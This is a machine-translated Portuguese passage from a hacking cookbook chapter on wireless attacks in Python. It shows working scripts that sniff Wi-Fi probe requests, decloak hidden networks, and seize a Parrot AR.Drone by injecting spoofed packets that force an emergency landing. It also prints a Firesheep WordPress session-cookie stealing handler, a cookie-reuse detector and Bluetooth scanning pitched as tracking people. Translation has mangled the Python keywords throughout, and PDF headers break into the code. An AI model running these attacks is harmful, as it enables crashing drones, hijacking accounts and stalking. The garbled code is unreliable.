def sniffProbe (p):
Se p.haslayer (Dot11ProbeReq):
netname = p.getlayer (Dot11ProbeReq) .info
se netname não em probeReqs:
probeReqs.append (netname)
print 'Detectado [+] New Probe Request:' + netname
fungada (iface = interface, prn = sniffProbe)
Agora podemos começar o nosso script para ver pedidos de sondagem de qualquer putador nas proximidades
ers ou telefones. Isso nos permite ver os nomes das redes no preferida
listas de rede de nossos clientes.

atacante: ~ # python sniffProbes.py
[+] Detectado New Probe Request: LAX_Wireless
[+] Detectado New Probe Request: Hooters_WiFi
[+] Detectado New Probe Request: Phase_2_Consulting
[+] Detectado New Probe Request: McDougall_Pizza

Encontrar rede oculta 802.11 Beacons
Enquanto a maioria das redes de anunciar seu nome de rede (BSSID), alguns sem fio
redes usam um SSID oculto para proteger descoberta do nome da rede. a Informações
fi eld no quadro 802.11 Beacon normalmente contém o nome da rede.
Em redes ocultas, o ponto de acesso deixa este campo em branco campo. Detectando uma escondido
rede prova bastante fácil, então, porque podemos simplesmente procurar 802.11 Beacon
quadros com em branco campos Informação fi. No exemplo a seguir, vamos procurar esses
quadros e imprimir o endereço MAC do ponto de acesso sem fios.

def sniffDot11 (p):
Se p.haslayer (Dot11Beacon):
se p.getlayer (Dot11Beacon) .info == '':
addr2 = p.getlayer (Dot11) .addr2
Se não addr2 em hiddenNets:
print '[­] Detectado escondido SSID:' + \
'com MAC:' + addr2

188 CAPÍTULO 5: Mayhem sem fio com Python

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 125/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
De­cloaking Oculto redes 802.11
Enquanto o ponto de acesso deixa o campo em branco informações fi durante a 802.11
Quadro Beacon, ele faz transmitir o nome durante o Probe Response. Uma sonda
Response normalmente ocorre depois de um cliente envia um pedido de sonda. Descobrir
o nome oculto, devemos esperar por uma resposta da sonda que corresponde a mesma
endereço MAC como nosso quadro 802.11 Beacon. Podemos acabar com isto juntos em um curto
Script Python utilizando duas matrizes. A primeira, hiddenNets , mantém o controle do original
Endereços MAC para as redes ocultas que temos visto. A segunda matriz
unhiddenNets , mantém o controle de redes que tenham decloaked. Quando nós detectar uma
802,11 Beacon Quadro com um nome de rede vazia, podemos adicioná­lo à nossa disposição
de escondido redes. Quando detectar uma resposta 802.11 Probe, vamos extrair
o nome da rede. Podemos verificar a matriz hiddenNets para ver se ele contém esse
valor e as unhiddenNets para garantir que ele não contém esse valor. Se ambos
condições de provar verdadeira, podemos analisar o nome da rede e imprimi­la no
tela.

sys importação
de scapy.all import *
= Interface 'mon0'
hiddenNets = []
unhiddenNets = []
def sniffDot11 (p):
Se p.haslayer (Dot11ProbeResp):
addr2 = p.getlayer (Dot11) .addr2
Se (addr2 em hiddenNets) & (addr2 não em unhiddenNets):
netname = p.getlayer (Dot11ProbeResp) .info
print '[+] Decloaked escondido SSID:' + \
netname + 'para MAC:' + addr2
unhiddenNets.append (addr2)
Se p.haslayer (Dot11Beacon):
se p.getlayer (Dot11Beacon) .info == '':
addr2 = p.getlayer (Dot11) .addr2
Se não addr2 em hiddenNets:
print '[­] Detectado escondido SSID:' + \
'com MAC:' + addr2
hiddenNets.append (addr2)
fungada (iface = interface, prn = sniffDot11)

Correndo o nosso script decloaker SSID oculto, podemos ver que ele corretamente identifi­
fi ca uma rede oculta e decloaks o nome, tudo em menos de 30 linhas no total

Interceptando e Espionar UAVs com Python 189

de código! Emocionante! Na próxima seção, faremos a transição para uma rede sem fio ativa
ataque, ou seja forjar pacotes para aquisição de um veículo aéreo não tripulado.
atacante: ~ # python sniffHidden.py
[­] Detectado SSID escondida com MAC: 00: DE: AD: BE: EF: 01
[ + ] Decloaked escondido SSID: Secret­Net para MAC: 00: DE: AD: BE: EF: 01

Interceptando e espionando UAVs com
PYTHON
No verão de 2009, o Exército dos EUA notou algo interessante no Iraque.
Como os ghters fi recolhidos nos laptops de ghters fi insurgentes, eles descobriram que o
laptops continham roubado feeds de vídeo a partir dos EUA drones aéreos. Os laptops con­
tained centenas de horas de prova de que o drone alimentações tinham sido interceptadas
por insurgentes ghters fi (Shane, 2009). Após uma investigação mais aprofundada, inteligência
de fi funcionários descobriram que os insurgentes usaram um $ 26 Os pacotes de software comercial
idade chamado SkyGrabber para interceptar os feeds UAV (SkyGrabber, 2011). Muito para
sua surpresa, Força Aérea dos funcionários fi com o programa UAV revelou a não tripulado
artesanato aéreas enviou o vídeo através de uma ligação sem criptografia para a unidade de controle de solo
(McCullagh, 2009). O software SkyGrabber, comumente usado para interceptar
dados de satélite não criptografadas, nem sequer exige qualquer guração Recon fi
para interceptar a feeds de vídeo das aeronaves não tripuladas dos Estados Unidos.
Atacar um drone militar dos Estados Unidos mais de fi nitivamente viola algum aspecto do
Patriot Act, então vamos fi nd um alvo menos ilegal para derrubar. O AR.Drone Parrot
UAV revela um excelente alvo. Uma fonte aberta e UAV baseado em Linux, o Par­
rot AR.Drone permite o controle por meio de um aplicativo para iPhone / iPod mais não criptografada
802.11 Wi­Fi. Disponível para menos de US $ 300, um hobby pode adquirir o UAV
http://ardrone.parrot.com/.Com as ferramentas que têm já aprendemos, nós podemos
tomar voo de controlar mais de um UAV alvo.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 126/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
Interceptando o Traf fi c, Dissecando o Protocolo
Vamos primeiro entender como o UAV e iPhone comunicar. Ao colocar uma
adaptador sem fio no modo monitor, aprendemos que o UAV e iPhone criar
uma rede sem fios ad­hoc entre si. Depois de ler o incluiu
instruções com o UAV, aprendemos que a MAC fi ltragem prova ser o único
mecanismo de segurança de protecção da conexão. Apenas o iPhone emparelhado pode
enviar instruções de navegação ight fl ao UAV. A fim de assumir o trono,
precisamos aprender o protocolo para as instruções e, em seguida, repetir essas instruções
ções, conforme necessário.

Primeiro, colocamos a nossa placa de rede wireless em modo monitor para observar
o transito. A tcpdump rápida mostra o tráfego UDP proveniente do UAV

190 CAPÍTULO 5: Mayhem sem fio com Python

e se dirigiu para o telefone na porta UDP 5555. Após uma análise rápida,
podemos supor que este tráfego contém o download de vídeo UAV, porque
de seu tamanho e direção geral. Em contraste, os comandos de navegação são exibidos
para vir diretamente do iPhone e de cabeça para a porta UDP 5556 no UAV.
atacante # airmon­ng start wlan0
Interface chipset Condutor
wlan0 Ralink RT2870 / 3070 rt2800usb ­ [phy0]
(Modo monitor ativado em mon0)
atacante # tcpdump­nn­i mon0
16: 03: 38,812521 54,0 Mb / s 2437 antena de sinal MHz 11g ­59dB 1 [mordeu 14]
IP 192.168.1.2.5556> 192.168.1.1.5556: UDP, comprimento 106
16: 03: 38,839881 54,0 Mb / s 2437 antena de sinal MHz 11g ­57dB 1 [mordeu 14]
IP 192.168.1.2.5556> 192.168.1.1.5556: UDP, comprimento 64
16: 03: 38,840414 54,0 Mb / s 2437 antena de sinal MHz 11g ­53dB 1 [mordeu 14]
IP 192.168.1.1.5555> 192.168.1.2.5555: UDP, 25824 comprimento

Com o conhecimento de que o iPhone envia controles de navegação UAV para UDP
port 5556, podemos construir um pequeno script Python para analisar a navegação tráfego fi c.
Observe que o nosso script imprime o conteúdo matérias de UDP tráfego fi c com o destino
ção de porta 5556.
de scapy.all import *
NAVPORT = 5556

def printPkt (PKT):
se pkt.haslayer (UDP) e pkt.getlayer (UDP) .dport == NAVPORT:
raw = pkt.sprintf ( '% Raw.load%')
imprimir crua
conf.iface = 'mon0'
fungada (PRN = printPkt)
A execução deste programa nos dá a nossa primeira vista para o protocolo de navegação para
o UAV. Vemos que o protocolo utiliza a sintaxe AT * CMD * = SEQUENCE_
NÚMERO , VALOR, [VALUE {3}]. Ao gravar tráfego fi c sobre um longo período de
tempo, nós aprendemos três instruções simples que irá revelar­se útil
para nós no nosso ataque e valem a pena repetir. O comando AT * REF = $ SEQ,
290717696 \ r emite um comando para pousar o UAV. Em seguida, o comando
AT * REF = $ SEQ, 290717952 \ r , emite uma emergência desembarque de comando, ime­
ately cortando os motores de UAVs. O comando AT * REF = SEQ, 290718208 \ r
emite uma instrução de descolagem para o UAV. Finalmente, podemos controlar o movimento com
o comando AT * PCMD = SEQ, Left_Right_Tilt, Front_Back_Tilt, Vertical_Speed,

Interceptando e Espionar UAVs com Python 191

Angular_Speed ​
\ r. Nós agora sabemos o suficiente sobre a navegação de controle para montar

um ataque.

atacante uav­sniff.py # python
«AT * REF = 11543,290718208 \ r '
'AT * PCMD = 11542,1, ­1364309249,988654145,1065353216,0 \ r'
«AT * REF = 11543,290718208 \ r '
'AT * PCMD = 11544,1, ­1358634437,993342234,1065353216,0 \ Rat * PCMD = 11545,1, ­

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 127/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
1355121202,998132864,1065353216,0 \ r '
«AT * REF = 11546,290718208 \ r '
<.. Cortou ..>

Vamos começar criando uma classe Python chamado interceptThread. esta rosca
classe tem os campos que armazenam informações para o nosso ataque. Estes campos contêm
a corrente de pacotes interceptados, a fi c número de sequência do protocolo UAV especificado,
e finalmente um booleano para descrever se o UAV tráfego fi c foi interceptada. Depois de
inicializar esses campos, vamos criar dois métodos chamado run () e intercept­
PKT (). O método run () inicia uma fi sniffer filtradas pela UDP e porta 5556, que
desencadeia o método interceptPkt (). Após a primeira intercepção do trá­ UAV
fi c, este método altera o valor da booleana como true. Em seguida, ele irá retirar
o número de sequência do comando atual UAV e registrar a corrente
pacote.

classe interceptThread (threading.Thread):
def __init __ (self):
threading.Thread .__ o init __ (self)
self.curPkt = None
self.seq = 0
self.foundUAV = False
run def (self):
fungada (PRN = self.interceptPkt, 'a porta UDP 5556 "filtro =)
def interceptPkt (self, PKT):
se self.foundUAV == False:
print '[*] UAV encontrado.'
self.foundUAV = True
self.curPkt = pkt
raw = pkt.sprintf ( '% Raw.load%')
experimentar:
self.seq = int (raw.split ( ',') [0] .Split ( '=') [­ 1]) + 5
exceto:
self.seq = 0

192 CAPÍTULO 5: Mayhem sem fio com Python

Crafting 802,11 Quadros com scapy
Em seguida, temos de forjar um novo pacote contendo nossos próprios comandos UAV. Quão­
nunca, a fim de fazer isso, precisamos de duplicar algumas das informações necessárias
a partir do pacote ou quadro atual. Porque este pacote contém RadioTap, 802.11,
SNAP, LLC, IP, e as camadas UDP, precisamos copiar os campos de cada um desses lay­
ers. Scapy tem suporte orgânico para a compreensão de cada uma dessas camadas. por exem­
plo, a olhar para a camada Dot11, começamos scapy e emita o comando ls (Dot11).
Vemos os campos necessários que será necessário copiar e forjar em nosso novo pacote.
atacante # scapy
Bem­vindo ao scapy (2.1.0)
>>> ls (Dot11)
subtipo: bitfield = (0)
digitar : BitEnumField = (0)
proto : bitfield = (0)
FCfield: FlagsField = (0)
: ShortField
identidade = (0)
addr1 : MACField = ('00: 00: 00: 00: 00: 00 ')
addr2 : Dot11Addr2MACField = ('00: 00: 00: 00: 00: 00 ')
ADDR3 : Dot11Addr3MACField = ('00: 00: 00: 00: 00: 00 ')
SC : Dot11SCField = (0)
addr4 : Dot11Addr4MACField = ('00: 00: 00: 00: 00: 00 ')

Nós construímos uma biblioteca inteira para copiar cada um dos RadioTap, 802.11, SNAP, LLC, IP e
camadas UDP. Observe que nós estamos deixando de fora alguns campos em cada exemplo camada para,
Nós não copiamos o comprimento IP campo. Como o nosso comando pode conter um diferente
comprimento no tamanho, podemos deixar scapy calcular automaticamente neste campo em cima de pacotes cria­
ção. O mesmo vale para vários dos campos de checksum fi. Com este pacote de fotocópia
biblioteca na mão, agora podemos continuar o nosso ataque ao UAV. Nós salvar esta biblioteca
com o nome dup.py uma vez que duplica a maioria dos campos em um quadro 802.11.
de scapy.all import *
def dupRadio (PKT):
rPkt = pkt.getlayer (RadioTap)
versão = rPkt.version
pad = rPkt.pad

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 128/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
presente = rPkt.present
notdecoded = rPkt.notdecoded
nPkt = RadioTap (version = versão, almofada = almofada, presente = presente,
notdecoded = notdecoded)
voltar nPkt

Interceptando e Espionar UAVs com Python 193

def dupDot11 (PKT):
dPkt = pkt.getlayer (Dot11)
subtipo = dPkt.subtype
Type = dPkt.type
proto = dPkt.proto
FCfield = dPkt.FCfield
ID = dPkt.ID
addr1 = dPkt.addr1
addr2 = dPkt.addr2
ADDR3 = dPkt.addr3
SC = dPkt.SC
addr4 = dPkt.addr4
nPkt = Dot11 (subtipo = subtipo, type = Tipo, proto = proto, FCfield =
FCfield, ID = ID, addr1 = addr1, addr2 = addr2, ADDR3 = ADDR3, SC = SC, addr4 = ad
DR4)
voltar nPkt
def dupSNAP (PKT):
SPKT = pkt.getlayer (SNAP)
oui = sPkt.OUI
code = sPkt.code
nPkt = SNAP (OUI = oui, code = código)
voltar nPkt
def dupLLC (PKT):
lPkt = pkt.getlayer (LLC)
DSAP = lPkt.dsap
SSAP = lPkt.ssap
ctrl = lPkt.ctrl
nPkt = LLC (DSAP = DSAP, SSAP = SSAP, ctrl = ctrl)
voltar nPkt
def dupIP (PKT):
iPkt = pkt.getlayer (IP)
version = iPkt.version
tos = iPkt.tos
ID = iPkt.id
bandeiras = iPkt.flags
ttl = iPkt.ttl
proto = iPkt.proto
src = iPkt.src
dst = iPkt.dst

194 CAPÍTULO 5: Mayhem sem fio com Python

options = iPkt.options
nPkt = IP (version = versão, id = ID, TOS = tos, bandeiras = bandeiras, ttl = TTL,
proto = proto, src = src, dst = dst, options = Opções)
voltar nPkt
def dupUDP (PKT):
uPkt = pkt.getlayer (UDP)
sport = uPkt.sport
dport = uPkt.dport
nPkt = UDP (sport = esporte, dport = dport)
voltar nPkt

Em seguida, vamos adicionar um novo método para a nossa classe interceptThread, chamado
injectCmd (). Este método duplica o pacote actual em cada um dos
camadas e, em seguida, adiciona a nova instrução como a carga da camada UDP. Depois de

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 129/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
criar este novo pacote, ele envia­lo para a camada 2 através do sendp () de comando.
def injectCmd (self, cmd):
radio = dup.dupRadio (self.curPkt)
dot11 = dup.dupDot11 (self.curPkt)
pressão = dup.dupSNAP (self.curPkt)
LLC = dup.dupLLC (self.curPkt)
IP = dup.dupIP (self.curPkt)
udp = dup.dupUDP (self.curPkt)
raw = Raw (load = cmd)
injectPkt = rádio / dot11 / LLC / SNAP / IP / UDP / raw
sendp (injectPkt)
O comando­terra de emergência é um comando importante, a fim de tomar
controlo de um UAV. Isso força o veículo aéreo não tripulado para parar os motores
e falhar imediatamente para o chão. Para emitir este comando, nós
usará o número de seqüência atual e passar à frente por 100. Em seguida, emitir
o comando AT * COMWDG = $ SEQ \ r. Este comando repõe a comunicação
cação contador watchdog para o nosso novo contador sequência. O zangão será então
ignorar anterior ou fora de sequência comandos (como aqueles que estão sendo emitidos pelo
iPhone legítimo). Finalmente, podemos enviar o nosso comando pouso de emergência
AT * REF = $ SEQ, 290717952 \ r.
EMER = "290717952"
emergencyland def (self):
spoofSeq = + 100 self.seq
assistir = 'AT * COMWDG =% i \ r'% spoofSeq
toCmd = 'AT * REF =% i,% s \ r'% (spoofSeq + 1, EMER)

Interceptando e Espionar UAVs com Python 195

self.injectCmd (relógio)
self.injectCmd (toCmd)

Finalizando o ataque, aterragem de Emergência O UAV
Vamos remontar o nosso código e fi nalize o ataque. Em primeiro lugar, temos de assegurar que
vamos salvar a nossa biblioteca de pacotes duplicação como dup.py, a fim de importá­lo. Em seguida, nós
precisamos examinar nossa função principal. Esta função inicia o segmento interceptor
classe, ouve os tráfego fi c detectar um UAV, em seguida, leva­nos a emitir um gência
comando pouso gência. Com um script Python de menos de 70 linhas, temos
com sucesso interceptado um veículo aéreo não tripulado. Excepcional! sentindo­se um
pouco culpado sobre nossas atividades, na próxima seção vamos nos concentrar em como nós
pode identificar atividades maliciosas que ocorrem em redes sem fio não criptografadas.
rosqueamento de importação
dup importação
de scapy.all import *
conf.iface = 'mon0'
NAVPORT = 5556
TERRA = '290717696'
EMER = '290717952'
DECOLAGEM = '290718208'
classe interceptThread (threading.Thread):
def __init __ (self):
threading.Thread .__ o init __ (self)
self.curPkt = None
self.seq = 0
self.foundUAV = False
run def (self):
fungada (PRN = self.interceptPkt, 'a porta UDP 5556 "filtro =)
def interceptPkt (self, PKT):
se self.foundUAV == False:
print '[*] UAV encontrado.'
self.foundUAV = True
self.curPkt = pkt
raw = pkt.sprintf ( '% Raw.load%')
experimentar:
self.seq = int (raw.split ( ',') [0] .Split ( '=') [­ 1]) + 5
exceto:
self.seq = 0

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 130/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

196 CAPÍTULO 5: Mayhem sem fio com Python

def injectCmd (self, cmd):
radio = dup.dupRadio (self.curPkt)
dot11 = dup.dupDot11 (self.curPkt)
pressão = dup.dupSNAP (self.curPkt)
LLC = dup.dupLLC (self.curPkt)
IP = dup.dupIP (self.curPkt)
udp = dup.dupUDP (self.curPkt)
raw = Raw (load = cmd)
injectPkt = rádio / dot11 / LLC / SNAP / IP / UDP / raw
sendp (injectPkt)
emergencyland def (self):
spoofSeq = + 100 self.seq
assistir = 'AT * COMWDG =% i \ r'% spoofSeq
toCmd = 'AT * REF =% i,% s \ r'% (spoofSeq + 1, EMER)
self.injectCmd (relógio)
self.injectCmd (toCmd)
decolagem def (self):
spoofSeq = + 100 self.seq
assistir = 'AT * COMWDG =% i \ r'% spoofSeq
toCmd = 'AT * REF =% i,% s \ r'% (spoofSeq + 1, decolagem)
self.injectCmd (relógio)
self.injectCmd (toCmd)
def main ():
uavIntercept interceptThread = ()
uavIntercept.start ()
print '[*] escutando o tráfego de UAV. Por favor, espere...'
enquanto uavIntercept.foundUAV == False:
passar
while True:
tmp = raw_input ( '[­]. Pressione Enter para emergência Terra UAV')
uavIntercept.emergencyland ()
se __name__ == '__main__':
a Principal()

DETECÇÃO Firesheep
No ToorCon 2010, Eric Butler lançou uma ferramenta para mudar o jogo conhecido como
Firesheep (Butler, 2010) .Esta ferramenta fornecida uma interface de dois cliques simples
aquisição remotamente Facebook, Twitter, Google e uma dúzia de outras mídias sociais

Detectando Firesheep197

contas de usuários inocentes. ferramenta Firesheep de Eric passivamente ouviu em uma
placa sem fio para cookies HTTP fornecidas por esses sites. Se um usuário conectado
a uma rede sem fio não segura e não utilizar os controles do lado do servidor, tais
como HTTPS para proteger a sua sessão, Firesheep interceptado esses cookies para
reutilizar por um invasor.
Eric fornecida uma interface fácil de construir manipuladores para especificar a sessão c fi cações
cookies para capturar para reutilização. Observe que o seguinte manipulador para Wordpress
Bolinhos contém três funções. Em primeiro lugar, matchPacket () identifica um Wordpress
bolinho de olhar para a expressão regular: . wordpress_ [0­9a­fA­F] {32} Se o
função corresponde a esta expressão regular, processPacket () extrai o Verbo­
imprensa bolinho sessionID. Finalmente, a função identifyUser () analisa a user­
nomear para logon para o site Wordpress. O atacante usa todas essas informações
para fazer logon no site do Wordpress.
// Autores:
// Eric Butler <eric@codebutler.com>
register ({
Nome: 'Wordpress',
matchPacket: function (pacote) {
para (varcookieName em packet.cookies) {
Se ({cookieName.match0
return true;
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 131/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

}
}
},
processPacket: function () {
this.siteUrl + = "wp­admin / ';
para (varcookieName em this.firstPacket.cookies) {
if (cookieName.match (/ ^ wordpress_ [0­9a­fA­F] {32} $ /)) {
this.sessionId = this.firstPacket.cookies [cookieName];
pausa;
}
}
},
identifyUser: function () {
var resp = this.httpGet (this.siteUrl);
this.userName = resp.body.querySelectorAll ( '# user_info a') [0].
textContent;
this.siteName = 'Wordpress (' + this.firstPacket.host + ')';
}
});

198 CAPÍTULO 5: Mayhem sem fio com Python

Compreender cookies de sessão Wordpress
Dentro de um pacote real, esses cookies parecido com o seguinte. Aqui um
vítima de executar o navegador da Web Safari se conecta a um site Wordpress em
www.violentpython.org. Observe a seqüência começando com wordpress_
E3B que contém o cookie sessionID eo nome de usuário vítima.
GET /wordpress/wp­admin/HTTP/1.1
Anfitrião: www.violentpython.org
User­Agent: Mozilla / 5.0 (Macintosh; Intel Mac OS X 10_7_2)
AppleWebKit / 534.52.7 (KHTML, como Gecko) Versão / 5.1.2 Safari / 534.52.7
Accept: * / *
Referer: http://www.violentpython.org/wordpress/wp­admin/
Accept­Language: en­us
Accept­Encoding: gzip, desinflar
Cookie: wordpress_e3bd8b33fb645122b50046ecbfbeef97 = vítima% 7C1323803979
% 7C889eb4e57a3d68265f26b166020f161b; wordpress_logged_in_e3bd8b33fb645
122b50046ecbfbeef97 = vítima% 7C1323803979% 7C3255ef169aa649f771587fd128ef
4f57;
wordpress_test_cookie = WP + Verificação de Cookies +
Conexão: keep­alive
Na seguinte figura, um atacante executar o kit de ferramentas Firesheep em
Firefox / 3.6.24 identificou a mesma cadeia enviada sem criptografia através de uma rede sem fios
trabalho. Ele então usou essas credenciais exatas para acessar www.violentpython.
Org. Observe a solicitação HTTP GET se assemelha a nossa solicitação original e passes
o mesmo cookie, mas provém de um navegador diferente. Embora não seja
descrita aqui, é importante notar que este pedido vem de um diferente
endereço IP, como o atacante não estaria usando a mesma máquina como a vítima.

GET / wordpress / wp­admin / HTTP / 1.1
Anfitrião: www.violentpython.org
User­Agent: Mozilla / 5.0 (Macintosh; U; Intel Mac OS X 10.7; en­US;
RV: 1.9.2.24) Gecko / 20111103 Firefox / 3.6.24
Accept: text / html, application / xhtml + xml, application /
XML; Q = 0,9, * / *; Q = 0,8
Accept­Language: en­us, en; q = 0,5
Accept­Encoding: gzip, desinflar
Aceitar­Charset: ISO­8859­1, utf­8; q = 0,7, *; q = 0,7
Mantenha­Alive: 115
Conexão: keep­alive
Cookie: wordpress_e3bd8b33fb645122b50046ecbfbeef97 = vítima% 7C1323803979
% 7C889eb4e57a3d68265f26b166020f161b; wordpress_logged_in_e3bd8b33fb645

Detectando Firesheep199

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 132/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
122b50046ecbfbeef97 = vítima% 7C1323803979% 7C3255ef169aa649f771587fd128ef
4f57; wordpress_test_cookie = WP + Verificação de Cookies +

Rebanho de­Catching Sheep Wordpress Biscoito Reuse
Vamos escrever um script Python rápida para analisar as sessões HTTP Wordpress que contêm
esses cookies de sessão. Porque este ataque ocorre com sessões não criptografadas,
vamos fi ltro pela porta TCP 80 para o protocolo HTTP. Quando vemos o regulares
expressar combinando o cookie Wordpress, podemos imprimir o conteúdo cookie para
a tela. Como nós só querem ver o tráfego cliente fi c, não vamos imprimir qualquer cozedura
s do servidor que contém a string "set".
importação re
de scapy.all import *
def fireCatcher (PKT):
raw = pkt.sprintf ( '% Raw.load%')
r = re.findall ( 'wordpress_ [0­9a­fA­F] {32}', raw)
se r e 'Definir' não em bruto:
pkt.getlayer impressão (IP) .src + \
">" + Pkt.getlayer .dst (IP) + "Cookie:" + r [0]
conf.iface = "mon0"
fungada (filtro = "80 porta TCP", prn = fireCatcher)
A execução desse script, identificar rapidamente algumas vítimas potenciais conectando mais
uma conexão sem fio sem criptografia através de uma sessão de HTTP padrão para palavra­
imprensa locais. Quando imprimir seus cookies fi c sessão especificações para a tela, notamos
que o atacante no 192.168.1.4 tem reutilizado o cookie sessionID do Vic
tim em 192.168.1.3.
defensor fireCatcher.py # python
192.168.1.3> 173.255.226.98
Cookie: wordpress_ e3bd8b33fb645122b50046ecbfbeef97
192.168.1.3> 173.255.226.98
Cookie: wordpress_e3bd8b33fb645122b50046ecbfbeef97
192.168.1.4> 173.255.226.98

Para detectar um atacante usando Firesheep, temos que ver se um atacante em uma dife­
ent IP é reutilizar esses valores de cookies. Para detectar isso, temos que modificar a nossa pré
roteiro rior. Agora vamos construir uma tabela hash indexado pelo sessionID cookie. E se
vemos uma sessão Wordpress, podemos inserir o valor em uma tabela hash e armazenar
o endereço IP associado a essa tecla. Se vemos que tecla novamente, podemos com­
pare o seu valor para detectar uma TIC fl con em nossa tabela hash. Quando detectar um conflito,
sabemos que temos o mesmo cookie associado com dois endereços IP diferentes.

200 CAPÍTULO 5: Mayhem sem fio com Python

Neste ponto, podemos detectar alguém tentando roubar uma sessão Wordpress e
imprimir o resultado na tela.
importação re
optparse importação
de scapy.all import *
cookieTable = {}
def fireCatcher (PKT):
raw = pkt.sprintf ( '% Raw.load%')
r = re.findall ( 'wordpress_ [0­9a­fA­F] {32}', raw)
se r e 'Definir' não em bruto:
Se R [0] não em cookieTable.keys ():
cookieTable [R [0]] = pkt.getlayer .src (IP)
print '[+] detectado e indexados cookie.'
elif cookieTable [r [0]]! = Pkt.getlayer (IP) .src:
print '[*] Conflito detectado por' + r [0]
print 'Vítima =' + cookieTable [r [0]]
print 'atacante =' + pkt.getlayer .src (IP)
def main ():
parser = optparse.OptionParser ( "uso% prog ­i <interface>")
parser.add_option ( '­ i', dest = 'interface', type = 'string', \
help = 'especificar interface para escutar em')
(Opções, args) = parser.parse_args ()
se options.interface == None:
parser.usage de impressão
exit (0)
outro:

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 133/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
conf.iface = options.interface
experimentar:
fungada (filtro = 'porta 80 tcp', prn = fireCatcher)
exceto KeyboardInterrupt:
exit (0)
se __name__ == '__main__':
a Principal()

Correndo o nosso script, podemos identificar um atacante que tem reutilizado a Wordpress­
bolinho sessionID de uma vítima em uma tentativa de roubar Wordpress dessa pessoa
sessão. Neste ponto, nós dominamos snif fi ng redes sem fio 802.11 com
Python. Vamos usar as próximas seções para examinar como para atacar dispositivos Bluetooth
com Python.

Stalking com Bluetooth e Python 201

defensor fireCatcher.py # python
[+] Detectado e indexados cookie.
[*] Conflito detectado para:
wordpress_ e3bd8b33fb645122b50046ecbfbeef97
Vítima = 192.168.1.3
Atacante = 192.168.1.4

DESENGAÇAR COM BLUETOOTH e Python
pesquisa de pós­graduação pode, por vezes, revelar­se uma tarefa difícil. A enorme mis­
sion de pesquisar um tema novo requer a cooperação de sua equipe mem­
bros. Eu achei extremamente útil para conhecer os locais dos membros da minha equipe. Como
minha pesquisa de pós­graduação girava em torno do protocolo Bluetooth, também parecia
como um excelente meio de manter o controle sobre os meus colegas de equipe.
Para interagir com recursos Bluetooth, que exigem o módulo PyBlueZ Python.
Este módulo estende a funcionalidade fornecida pela biblioteca Bluez para uti­
recursos Lize Bluetooth. Observe que depois de importar a nossa biblioteca Bluetooth,
podemos simplesmente utilizar a função discover_devices () para retornar uma matriz de MAC
endereços de dispositivos nas proximidades com um modelo de descoberta. Em seguida, podemos converter o
endereço MAC de um dispositivo Bluetooth para um nome de string user­friendly para o dispositivo
com a função lookup_name (). Finalmente, podemos imprimir o dispositivo de telefone.
a partir do bluetooth import *
devList discover_devices = ()
para o dispositivo em devList:
name = str (lookup_name (dispositivo))
print "[+] Encontrado Dispositivo Bluetooth" + str (nome)
print "endereço [+] MAC:" + str (dispositivo)

Vamos fazer esta pergunta persistente. Para fazer isso, vamos colocar este código dentro
uma função chamada ndDevs fi e só imprimir novos dispositivos que nós fi nd. Nós
pode usar um array chamado alreadyFound para manter o controle do já descoberto
dispositivos. Para cada dispositivo encontrado, pode verificar para ver se ele existir na matriz. E se
não, vamos imprimir o seu nome e endereço para a tela antes de acrescentá­lo para
a matriz. Dentro do nosso código principal, podemos criar uma in fi circuito nite e que é executado
fi ndDevs () e, em seguida, dorme durante 5 segundos.
tempo de importação
a partir do bluetooth import *
alreadyFound = []
findDevs def ():
foundDevs = discover_devices (lookup_names = true)

202 CAPÍTULO 5: Mayhem sem fio com Python

para (endereço, nome) em foundDevs:
Se não addr em alreadyFound:
print '[*] Encontrado dispositivo Bluetooth:' + str (nome)
print '[+] Endereço MAC:' + str (endereço)
alreadyFound.append (endereço)
while True:

